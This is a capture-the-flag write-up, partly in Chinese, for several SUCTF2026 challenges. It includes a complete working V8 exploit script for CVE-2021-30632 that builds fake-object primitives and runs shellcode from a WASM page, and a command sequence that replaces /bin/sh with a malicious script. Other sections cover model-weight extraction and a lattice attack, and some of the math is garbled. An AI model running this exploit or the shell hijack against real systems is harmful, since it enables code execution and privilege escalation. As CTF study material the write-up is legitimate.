# s(dir_list_shellcode)
flag_data = gift.io.recvrepeat(1.0)
print(f"Flag output:\n{flag_data.decode(errors='replace')}")

ia()

SU_Box

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python3
"""SUCTF2026 SU_Box - CVE-2021-30632 V8 exploit via fake Map + fake Float64Array"""
import socket, struct, sys

def u64(b): return struct.unpack('<Q', b)[0]

# Shellcode: open("/flag",O_RDONLY) → read → write(1) → exit
sc = bytes([
0x31,0xf6,0x56,0x48,0xbf,0x2f,0x66,0x6c,0x61,0x67,0x00,0x00,0x00,0x57,0x48,0x89,
0xe7,0x31,0xd2,0xb8,0x02,0x00,0x00,0x00,0x0f,0x05,0x89,0xc7,0x48,0x81,0xec,0x00,
0x01,0x00,0x00,0x48,0x89,0xe6,0xba,0x00,0x01,0x00,0x00,0x31,0xc0,0x0f,0x05,0x89,
0xc2,0xbf,0x01,0x00,0x00,0x00,0x48,0x89,0xe6,0xb8,0x01,0x00,0x00,0x00,0x0f,0x05,
0x31,0xff,0xb8,0x3c,0x00,0x00,0x00,0x0f,0x05])
while len(sc) % 8: sc += b'\x90'
sc_doubles = [u64(sc[i:i+8]) for i in range(0, len(sc), 8)]
sc_arr = "[" + ",".join(f"0x{v:016x}n" for v in sc_doubles) + "]"

JS = r"""
var buf = new ArrayBuffer(8);
var dv_f = new Float64Array(buf);
var dv_i = new BigUint64Array(buf);
function ftoi(v) { dv_f[0] = v; return dv_i[0]; }
function itof(v) { dv_i[0] = v; return dv_f[0]; }

// CVE-2021-30632 trigger
var x;
function foo(y) { x = y; }
function jitRead(i) { return x[i]; }
function jitWrite(i, v) { x[i] = v; }

var arr0 = new Array(10); arr0.fill(1); arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2); arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
x = arr0;
var arr = new Array(60); arr.fill(4); arr.a = 1;

for (var i = 0; i < 19321; i++) {
if (i == 19319) arr2[0] = 1.1;
foo(arr1);
}
x[0] = 1.1;
for (var i = 0; i < 20000; i++) jitRead(0);
for (var i = 0; i < 20000; i++) jitWrite(0, 1.1);
foo(arr);

// Primitives using element[30] to not clobber fake structures
function addrof(obj) { arr[30] = obj; return ftoi(jitRead(30)); }
function fakeobj(addr) { jitWrite(30, itof(addr)); var o = arr[30]; arr[30] = 0; return o; }

// Verify type confusion
arr[30] = 42;
var c = ftoi(jitRead(30));
log("confusion: 0x" + c.toString(16));
if (c != 0x2a00000000n) { log("FAIL: no confusion"); throw "abort"; }

// WASM setup (for RWX page)
var wasmBytes = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmMod = new WebAssembly.Module(wasmBytes);
var wasmInst = new WebAssembly.Instance(wasmMod);
var wasmMain = wasmInst.exports.main;
var realAB = new ArrayBuffer(1024);

// Get addresses (all addrof BEFORE any foo() calls)
var arr_addr = addrof(arr);
var inst_addr = addrof(wasmInst);
var ab_addr = addrof(realAB);
log("arr: 0x" + arr_addr.toString(16));
log("inst: 0x" + inst_addr.toString(16));
log("ab: 0x" + ab_addr.toString(16));

// Build FAKE MAP at element[0..7] (Float64Array map)
// Map fields from V8 9.3.345.11 analysis:
// +0: MetaMap (any tagged ptr)
// +8: 0x61000438170c0c0c (inst_size=12,iprops=12,unused=12,visitor=23,inst_type=0x0438,bf=0x00,bf2=0x61)
// +16: 0x00000000084003ff (bit_field3 + padding)
// +24..+56: prototype/constructor/descriptors etc (set to arr_addr as safe tagged ptr)
jitWrite(0, itof(arr_addr));
jitWrite(1, itof(0x61000438170c0c0cn));
jitWrite(2, itof(0x00000000084003ffn));
jitWrite(3, itof(arr_addr));
jitWrite(4, itof(arr_addr));
jitWrite(5, itof(arr_addr));
jitWrite(6, itof(arr_addr));
jitWrite(7, itof(arr_addr));

// Fake Map tagged address = arr_addr + 48 (element[0] at arr_untagged + 48, tagged +1)
var fake_map_tagged = arr_addr + 48n;

// Build FAKE Float64Array at element[10..18]
// +0: map (fake map tagged)
// +8: properties (any tagged ptr)
// +16: elements (any tagged ptr)
// +24: buffer (real ArrayBuffer tagged)
// +32: byte_offset (0)
// +40: byte_length (large)
// +48: length (large)
// +56: external_pointer (target raw ptr, will be updated for each read/write)
// +64: base_pointer (0 = Smi(0) for off-heap)
jitWrite(10, itof(fake_map_tagged));
jitWrite(11, itof(arr_addr));
jitWrite(12, itof(arr_addr));
jitWrite(13, itof(ab_addr));
jitWrite(14, itof(0n));
jitWrite(15, itof(0x100000n));
jitWrite(16, itof(0x10000n));
jitWrite(17, itof(0n));
jitWrite(18, itof(0n));

// Get reference to fake Float64Array at element[10] = arr_addr + 128
var fakeTA = fakeobj(arr_addr + 128n);
log("fakeTA created");

// Read jump_table_start from WasmInstanceObject +128
// inst_untagged + 128 = (inst_addr - 1) + 128 = inst_addr + 127
jitWrite(17, itof(inst_addr + 127n));
var jt = ftoi(fakeTA[0]);
log("jt: 0x" + jt.toString(16));

if (jt == 0n || jt > 0x7fffffffffffn) {
log("jt looks invalid, trying offset +120");
jitWrite(17, itof(inst_addr + 119n));
jt = ftoi(fakeTA[0]);
log("jt@120: 0x" + jt.toString(16));
}

// Write shellcode to RWX page
jitWrite(17, itof(jt));
var sc = SC_PLACEHOLDER;
for (var i = 0; i < sc.length; i++) {
fakeTA[i] = itof(sc[i]);
}
log("shellcode written, calling wasm...");
wasmMain();
""".replace("SC_PLACEHOLDER", sc_arr)

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 10008
print(f"[*] Connecting to {HOST}:{PORT}")
s = socket.socket(); s.settimeout(15); s.connect((HOST, PORT))
s.sendall((JS.strip() + "\nEOF\n").encode())
data = b""
while True:
try:
c = s.recv(4096)
if not c: break
data += c
except: break
print(data.decode(errors='replace'))
s.close()

SU_Chronos_Ring

1
2
3
4
5
6
7
 'cat > /tmp/evil_sh <<EOF',
'#!/bin/busybox sh',
'cat /flag > /home/ctf/flag.txt',
'chmod 777 /home/ctf/flag.txt',
'EOF',
'chmod +x /tmp/evil_sh',
'ln -sf /tmp/evil_sh /bin/sh'

非预期没做好 bin目录的权限直接改sh就可以拿flag

AI

SU_EasyLLM

访问题目地址,返回一段 JSON:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"algo": "AES-128-CBC",
"iv_b64": "xj4ALuQMtutldm55cbsAHA==",
"ciphertext_b64": "7svlyvpGxd2R6N9JnK9m3LDE0m7EsJ8qsmlUeB5W8A+MMWx1M5efwa0kx+NUQ0q3",
"key_derivation": "key = SHA256(LLM_output)[:16]",
"llm": {
"provider": "z.ai",
"model": "GLM-4-Flash",
"temperature": 0.28,
"system_prompt": "You are a password generator.\nOutput ONE password only.\nFormat strictly: pw-xxxxxxxx where x are letters.\nNo explanation, no quotes, no punctuation.",
"user_prompt": "Generate the password now."
}
}

关键信息一目了然:

  1. 加密方式:AES-128-CBC,IV 和密文均以 Base64 给出
  2. 密钥派生key = SHA256(LLM_output)[:16],即对 LLM 输出取 SHA256 前 16 字节作为 AES 密钥
  3. LLM 参数全部公开:模型 GLM-4-Flashtemperature=0.28、system prompt 和 user prompt 全部明文给出

每次刷新页面,IV 和密文都会变化(随机 IV),但底层的密码(LLM 输出)是固定不变的。

解题思路:

题目把 LLM 的所有调用参数都给了出来,解题的关键就是:用完全相同的参数调用 GLM**-4-Flash,复现出那个密码,然后解密 AES。**

GLM-4-Flash 是智谱 AI (z.ai / open.bigmodel.cn) 的免费模型。

步骤

  1. 前往 https://open.bigmodel.cn 注册账号(免费)
  2. 获取 API 密钥
  3. 用题目给出的完全相同的参数调用 GLM-4-Flash API
  4. 拿到 LLM 输出的密码(格式 pw-xxxxxxxx
  5. 计算 key = SHA256(password)[:16]
  6. 用该 key 和题目返回的 IV 解密 AES-128-CBC 密文,得到 flag

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
import hashlib, base64, json, sys, urllib.request, urllib.error
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

CHALLENGE_URL = "http://101.245.107.149:10014/"

def fetch_challenge():
resp = urllib.request.urlopen(CHALLENGE_URL, timeout=10)
data = json.loads(resp.read().decode())
iv = base64.b64decode(data["iv_b64"])
ct = base64.b64decode(data["ciphertext_b64"])
return iv, ct, data

def try_decrypt(password, iv, ct):
key = hashlib.sha256(password.encode()).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
try:
pt = unpad(cipher.decrypt(ct), AES.block_size)
return pt.decode("utf-8")
except (ValueError, UnicodeDecodeError):
return None

def call_glm4_flash(api_key):
url = "https://open.bigmodel.cn/api/paas/v4/chat/completions"
body = json.dumps({
"model": "glm-4-flash",
"messages": [
{"role": "system",
"content": "You are a password generator.\n"
"Output ONE password only.\n"
"Format strictly: pw-xxxxxxxx where x are letters.\n"
"No explanation, no quotes, no punctuation."},
{"role": "user", "content": "Generate the password now."}
],
"temperature": 0.28,
}).encode()
req = urllib.request.Request(url, data=body, method="POST")
req.add_header("Content-Type", "application/json")
req.add_header("Authorization", f"Bearer {api_key}")
resp = urllib.request.urlopen(req, timeout=30)
data = json.loads(resp.read().decode())
return data["choices"][0]["message"]["content"].strip()

def main():
api_key = sys.argv[1]
iv, ct, _ = fetch_challenge()

seen = set()
for i in range(20):
password = call_glm4_flash(api_key)
print(f"[{i+1}] LLM output: '{password}'")
if password in seen:
continue
seen.add(password)
iv2, ct2, _ = fetch_challenge()
result = try_decrypt(password, iv2, ct2)
if result and ("{" in result or "flag" in result.lower()):
print(f"\n[+] PASSWORD: {password}")
print(f"[+] FLAG: {result}")
return

if __name__ == "__main__":
main()

SU_谁是小偷

题目提供了 app.py,包含两个关键接口:

  • /predict:接收 JSON 格式的图像张量,返回模型推理结果
  • /flag:接收 Base64 编码的模型权重文件,比对与服务端模型每一层参数的差异,所有参数差值绝对值 ≤ 0.01 即返回 flag
1
2
3
for i, (param, user_param) in enumerate(zip(model.parameters(), user_model.parameters())):
if torch.sum(~(abs(param - user_param) <= 0.01)):
return jsonify({'error': f'Layer weight difference too large'}), 400

附件 app.py 定义的模型:

1
2
3
4
5
6
7
8
9
10
11
class Net(nn.Module):
def init(self):
super(Net, self).init()
self.linear = nn.Linear(256, 256)
self.conv = nn.Conv2d(1, 1, (100, 100), stride=1)

def forward(self, x):
x = self.conv(x)
x = x.view(-1) # 关键:flatten 包含 batch 维度
x = self.linear(x)
return x

题目提示中反复强调:“当文档、权重、返回结果相互冲突的时候,优先相信可重复验证的行为”“附件是热身材料,不是线上完整快照”

这意味着线上模型不一定与附件描述一致。通过实际探测可以发现:

  • 附件声称 Conv2d(1, 1, (100, 100)),但线上模型实际使用的是 Conv2d(1, 1, (4, 4))
  • 模型的 state_dict key 名称为 conv.weight, conv.bias, linear.weight, linear.bias

核心数学推导

模型的前向传播:

其中:

  • 是卷积核权重
  • $$$$ 是卷积偏置(标量)
  • 是线性层权重
  • 是线性层偏置
  • view(-1) 将卷积输出(含 batch 维)展平为长度 256 的向量

当输入形状为 时,卷积后每个 batch 样本输出一个标量:

view(-1) 后得到 256 维向量,送入线性层:

可观测量的提取

定义:设 (卷积核的第一个元素),则引入归一化量:

  • ($256 times 256$ 矩阵)
  • $$r = K / alph}5 ($H times W$ 矩阵,其中 $r_{0,0} = 1$)

/predict 的行为中,我们可以提取出 $A$、$r$ 和基线响应 $d$,但无法确定 和 $beta$(它们之间存在标量自由度)。

提取步骤:

(1) 基线响应 $$$$ 发送全零输入 $x = 0$:

(2) 矩阵 $$$$(256×256): 对每个 $n in [0, 255]$,令 $x_n[0, 0, 0] = 1$(其余为零):

每次查询可提取 $$$$ 的一列,共 256 次查询。

(3) 核比率矩阵 $$$$(4×4): 对每个像素 $(i,j)$,令 $x_n[0, i, j] = 1$(利用不同 batch 样本打包多个像素探测):

通过最小二乘法从 $$$$ 中恢复 $r$。仅需 1 次额外查询(16 个像素可打包在 256 个 batch 中)。

消除标量自由度

从观测到的 $$$$ 矩阵中获取关键线索:r * 6 ≈ 整数矩阵

完整解题流程

Step 0: 探测线上模型真实架构

尝试不同输入形状,通过错误信息推断线上模型的卷积核大小:

1
2
# 发送 (256, 1, 100, 100) → 报错 "mat1 and mat2 shapes cannot be multiplied (1x34144 and 256x256)"
# 发送 (256, 1, 4, 4) → 成功返回 256 维预测

由报错 1×34144 可反推:线上模型的 Conv2d 输出展平后长度不是 256。而 (256,1,4,4) 输入成功,说明 Conv2d(1,1,4,4) 输出 (256,1,1,1),展平后恰好 256 维。

结论:线上模型为 Conv2d(1, 1, 4, 4) + Linear(256, 256)

Step 1: 提取可观测数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 基线
baseline = predict(zero_input()) # shape (256,)

# A 矩阵:逐列提取
for n in range(256):
x = zero_input()
x[n, 0, 0, 0] = 1.0
A[:, n] = predict(x) - baseline

# 核比率 r:一次查询提取全部 16 个像素
x_probe = zero_input()
for n, (i, j) in enumerate([(i,j) for i in range(4) for j in range(4)]):
x_probe[n, 0, i, j] = 1.0
delta = predict(x_probe) - baseline
r = np.linalg.lstsq(A[:, :16], delta, rcond=None)[0].reshape(4, 4)

Step 2: 确定 state_dict key 名称

分别尝试 conv.* / StageA.* / stage_a.* 风格的 key,通过 /flag 端点的错误类型判断:

  • Missing key / Unexpected key → key 名错误
  • Layer weight difference too large → key 名正确,参数尚未对齐

结论:线上模型使用 conv.weight, conv.bias, linear.weight, linear.bias

Step 3: 推断 alpha 和 beta

观察 各元素均接近整数 → $alpha = 6$。

其中 $$$$ 是卷积管道的输出:

直接提取策略——标准基向量法

核心思想:如果我们能构造输入使得卷积管道输出为标准基向量 $e_i$,则:

即每次查询直接获得 $$$$ 矩阵的第 $$$$ 列加上偏置。

步骤:

  1. 本地计算 $$$$ $$$$:用 model_base.pth 的 conv 权重,对 1024 个标准基向量分别通过卷积管道,得到变换矩阵 $$$$ 和偏置 $d$。
  2. 计算伪逆 :因为 $$$$ 是 $256 times 1024$(行 < 列),秩为 256,存在精确的伪逆。
  3. 构造特殊输入
    1. 令 $z = 0$(零向量),则需要 $x0 = A^+ cdot (-d)$。查询得 $$y_0 = b{text{linear}$$
    2. 令 $z = ei$(第 y_i = W[:, i] + b{text{linear}$$
  4. 还原参数
  5. 组装模型:将提取到的 linear.weightlinear.bias 写入模型,conv 参数直接用 model_base.pth 的(conv 权重不检查,conv bias 不变或在阈值内)。
  6. 提交 /flag 获取 flag。
    1. 精度保障
  • 使用 float64 进行所有本地数值计算(矩阵求逆/伪逆),避免 float32 累积误差
  • 伪逆法直接获取每一列,无需求解大型线性方程组,数值稳定性好
  • 最终转回 float32 存入模型
    • 查询量分析
  • 1 次查询获取 $b_{text{linear}}$(零向量输入)
  • 256 次查询获取 的 256 列
  • 总计 257 次查询
    • 关键代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 本地用 float64 计算卷积管道的线性变换矩阵 A 和偏置 d
d = conv_only_64(torch.zeros(1, 1, 32, 32, dtype=torch.float64))
A = torch.zeros(256, 1024, dtype=torch.float64)
for i in range(1024):
ei = torch.zeros(1, 1, 32, 32, dtype=torch.float64)
ei.view(-1)[i] = 1.0
A[:, i] = conv_only_64(ei) - d

伪逆
A_pinv = torch.linalg.pinv(A) 1024x256

构造使 z=0 的输入,查询得 bias
x0_flat = A_pinv @ (-d)
x0_input = x0_flat.float().reshape(1, 1, 32, 32)
y_bias = predict(x0_input) 这就是 b_linear

构造使 z=e_i 的输入,查询得 W 的第 i 列
W_direct = torch.zeros(256, 256)
for i in range(256):
target = torch.zeros(256, dtype=torch.float64)
target[i] = 1.0
xi_flat = A_pinv @ (target - d)
xi_input = xi_flat.float().reshape(1, 1, 32, 32)
yi = predict(xi_input)
W_direct[:, i] = yi - y_bias

组装模型并提交
model.linear.weight.data = W_direct
model.linear.bias.data = y_bias
submit(model) -> flag!

SU_BabyAI

task.py 实现了如下流程:

  1. 构建神经网络模型:包含一个 1D 卷积层(Conv1d, kernel_size=3, stride=2, 无 bias)和一个全连接层(Linear, 无 bias)。
  2. 生成随机权重:使用 torch.randint(0, q, ...) 生成 范围内的随机整数权重,存储为 float32 格式并保存到 model.pth
  3. 计算输出
    1. 将 FLAG(41 字节)作为输入,经过卷积运算得到 20 个中间值 conv_out
    2. conv_out 经过全连接层得到 15 个输出值。
    3. 每个输出值加上 范围内的随机噪声,再对 取模,得到最终的密文 $Y$。
1
2
3
q = 1000000007
n = 41 FLAG 长度
m = 15 输出维度

数学建模

将卷积和全连接两层运算合并,可以得到一个线性方程组。设 FLAG 的第 $$$$ 个字节为 $xj$,卷积权重为 $w_0, w_1, w_2$,全连接权重矩阵为 $W{fc}$,则:

合并后得到 的系数矩阵 $C$:

其中:

这是一个标准的 LWE (Learning With Errors) 问题。

解题过程

Step 1: 提取权重

model.pth 中加载模型权重:

1
2
3
4
import torch
d = torch.load('model.pth', map_location='cpu')
w_conv = d['conv.weight'].squeeze().long().tolist() [3] 卷积核
w_fc = d['fc.weight'].long().tolist() [15][20] 全连接

关于 float32 精度:虽然 float32 只有 24 位尾数,无法精确表示 级别的整数,但题目中的运算使用的恰恰是经过 float32 截断后的值(因为 torch.randint 生成后直接存入 float32 tensor),所以 model.pth 中保存的就是实际参与运算的精确权重。

Step 2: 构建系数矩阵并消去已知字符

FLAG 格式为 SUCTF{...},已知前 6 个字符和最后 1 个字符。将已知值代入方程组,调整目标向量:

1
2
3
known = {0: 83, 1: 85, 2: 67, 3: 84, 4: 70, 5: 123, 40: 125}   SUCTF{ ... }
将已知字符贡献从 Y 中减去
adj_Y[i] = (Y[i] - sum(C[i][j] * known[j] for j in known)) % q

剩余 34 个未知字节,范围 $[32, 126]$(可打印 ASCII)。

Step 3: 居中化

将未知量以 79 为中心居中:$x’_j = x_j - 79$,则 $|x’_j| le 47$。

1
centered_Y[i] = (adj_Y[i] - sum(C[i][j] * 79 for j in unknown_indices)) % q

问题转化为:已知 $C cdot x’ equiv text{centered_Y} + e pmod{q}$,求 $x’$,其中 $|x’_j| le 47$,$|e_i| le 160$。

Step 4: Primal Attack 格构造

构造如下 的格基矩阵($m=15$,$n’=34$,总维度 49):

L = begin{pmatrix} q cdot Im & 0 A^T & B cdot I{n’} end{pmatrix}

其中 $$$$ 是系数矩阵,$B$ 是平衡参数(取 $B=1$)。

格中的短向量 对应方程组的解。

Step 5: LLL + Babai 最近平面算法

  1. 对格基 $$$$ 进行 LLL 规约
  2. 构造目标向量 $t = (text{centeredY}_0, ldots, text{centered_Y}{m-1}, 0, ldots, 0)$。
  3. 使用 Babai 最近平面算法(Nearest Plane) 求解 CVP(最近向量问题),找到格中距离 $$$$ 最近的格点。
  4. 从格点中提取 $x’$,还原 $x = x’ + 79$。
1
2
3
4
5
6
7
from sympy import Matrix

sym_L = Matrix(L)
reduced = sym_L.lll()

Gram-Schmidt 正交化 + Babai 最近平面
... (详见 solve 脚本)

Step 6: 验证

将恢复的 flag 代回原始方程组验证:

1
2
FLAG = b"SUCTF{PyT0rch_m0del_c4n_h1d3_LWE_pr0bl3m}"
验证所有 15 个方程的误差均在 [-160, 160] 范围内 ✓

完整解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import torch
from sympy import Matrix

d = torch.load('model.pth', map_location='cpu')
w_conv = d['conv.weight'].squeeze().long().tolist()
w_fc = d['fc.weight'].long().tolist()

Y = [776038603, 454677179, 277026269, 279042526, 78728856, 784454706,
29243312, 291698200, 137468500, 236943731, 733036662, 421311403,
340527174, 804823668, 379367062]
q = 1000000007
n = 41
m = 15

合并系数矩阵
C = [[0] * n for _ in range(m)]
for i in range(m):
for k in range(20):
w = w_fc[i][k]
C[i][2*k] = (C[i][2*k] + w * w_conv[0]) % q
C[i][2*k+1] = (C[i][2*k+1] + w * w_conv[1]) % q
C[i][2*k+2] = (C[i][2*k+2] + w * w_conv[2]) % q

消去已知字符
known = {}
for i, c in enumerate(b"SUCTF{"):
known[i] = c
known[n-1] = ord('}')
unknown_indices = [j for j in range(n) if j not in known]
unk = len(unknown_indices)

adj_Y = []
for i in range(m):
val = Y[i]
for j in known:
val = (val - C[i][j] * known[j]) % q
adj_Y.append(val)

居中化
centered_Y = []
for i in range(m):
val = adj_Y[i]
for j in unknown_indices:
val = (val - C[i][j] * 79) % q
centered_Y.append(val)

构造 Primal Attack 格
dim = m + unk
L = [[0] * dim for _ in range(dim)]
for i in range(m):
L[i][i] = q
for j in range(unk):
for i in range(m):
L[m + j][i] = C[i][unknown_indices[j]]
L[m + j][m + j] = 1

LLL 规约
sym_L = Matrix(L)
reduced = sym_L.lll()
basis = [[int(reduced[r, c]) for c in range(dim)] for r in range(dim)]

Gram-Schmidt 正交化
def gram_schmidt(vecs):
nn, dd = len(vecs), len(vecs[0])
gs = [list(v) for v in vecs]
norms_sq = [0.0] * nn
for i in range(nn):
gs[i] = list(vecs[i])
for j in range(i):
if norms_sq[j] == 0:
continue
mu = sum(float(vecs[i][k]) * gs[j][k] for k in range(dd)) / norms_sq[j]
for k in range(dd):
gs[i][k] -= mu * gs[j][k]
norms_sq[i] = sum(gs[i][k] ** 2 for k in range(dd))
return gs, norms_sq

gs, norms_sq = gram_schmidt(basis)

Babai 最近平面算法
target = list(centered_Y) + [0] * unk
b = [float(v) for v in target]
for i in range(dim - 1, -1, -1):
if norms_sq[i] == 0:
continue
c_i = round(sum(b[k] * gs[i][k] for k in range(dim)) / norms_sq[i])
for k in range(dim):
b[k] -= c_i * basis[i][k]

closest = [int(round(target[k] - b[k])) for k in range(dim)]
x_prime = closest[m:]

还原 flag
flag = []
u_idx = 0
for i in range(n):
if i in known:
flag.append(chr(known[i]))
else:
flag.append(chr(x_prime[u_idx] + 79))
u_idx += 1

print("".join(flag))
SUCTF{PyT0rch_m0del_c4n_h1d3_LWE_pr0bl3m}
2025年0psu3年度总结 →